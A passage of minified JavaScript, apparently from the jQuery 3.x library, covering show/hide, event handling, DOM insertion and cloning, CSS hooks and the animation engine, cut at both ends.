t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))w.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+w.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;w.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n<arguments.length;n++)u[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){s=w.event.handlers.call(this,t,l),n=0;while((o=s[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,u))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Se()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===Se()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&N(this,"input"))return this.click(),!1},_default:function(e){return N(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Te.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return De(this,e,t,n,r)},one:function(e,t,n,r){return De(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each(function(){w.event.remove(this,e,n,t)})}});var Ne=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,qe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}K.hasData(e)&&(s=K.access(e),u=w.extend({},s),K.set(t,u))}}function Me(e,t){var n=t.nodeName.toLowerCase();"input"===n&&pe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,s,u,l,c,f=0,p=e.length,d=p-1,y=t[0],v=g(y);if(v||p>1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f<p;f++)l=i,f!==d&&(l=w.clone(l,!0,!0),u&&w.merge(s,ye(l,"script"))),n.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,w.map(s,Oe),f=0;f<u;f++)l=s[f],he.test(l.type||"")&&!J.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(qe,""),c,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ye(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(Ne,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r<i;r++)Me(o[r],a[r]);if(t)if(n)for(o=o||ye(e),a=a||ye(s),r=0,i=o.length;r<i;r++)Pe(o[r],a[r]);else Pe(e,s);return(a=ye(s,"script")).length>0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ye(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),s.apply(r,n.get());return this.pushStack(r)}});var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),$e=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Be=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",be.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,u=12===n(t.marginLeft),c.style.right="60%",s=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",be.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,s,u,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),s},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),u},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,s=e.style;return(n=n||$e(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&We.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var ze=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ue={position:"absolute",visibility:"hidden",display:"block"},Ve={letterSpacing:"0",fontWeight:"400"},Ge=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Qe(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--)if((e=Ge[n]+t)in Ye)return e}function Je(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Qe(e)||e),t}function Ke(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(u-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(u-=w.css(e,"border"+oe[a]+"Width",!0,i))):(u+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?u+=w.css(e,"border"+oe[a]+"Width",!0,i):s+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ct(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=J.get(e,"fxshow");n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()})}));for(r in t)if(i=t[r],it.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||w.style(e,r)}if((u=!w.isEmptyObject(t))||!w.isEmptyObject(d)){f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=J.get(e,"display")),"none"===(c=w.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=w.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===w.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1;for(r in d)u||(y?"hidden"in y&&(g=y.hidden):y=J.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&fe([e],!0),p.done(function(){g||fe([e]),J.remove(e,"fxshow");for(r in d)w.style(e,r,d[r])})),u=lt(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}}function ft(e,t){var n,r,i,o,a;for(n in e)if(r=G(n),i=t[r],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=w.cssHooks[r])&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function pt(e,t,n){var r,i,o=0,a=pt.prefilters.length,s=w.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;for(var t=nt||st(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,a=l.tweens.length;o<a;o++)l.tweens[o].run(r);return s.notifyWith(e,[l,r,n]),r<1&&a?n:(a||s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:nt||st(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(ft(c,l.opts.specialEasing);o<a;o++)if(r=pt.prefilters[o].call(l,e,c,l.opts))return g(r.stop)&&(w._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return w.map(c,lt,l),g(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),w.fx.timer(w.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ue(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){g(e)?(t=e,e=["*"]):e=e.match(M);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[ct],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||g(e)&&e,duration:e,easing:n&&t||t&&!g(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){g(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),o=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=w.timers,a=J.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ot.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||w.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof 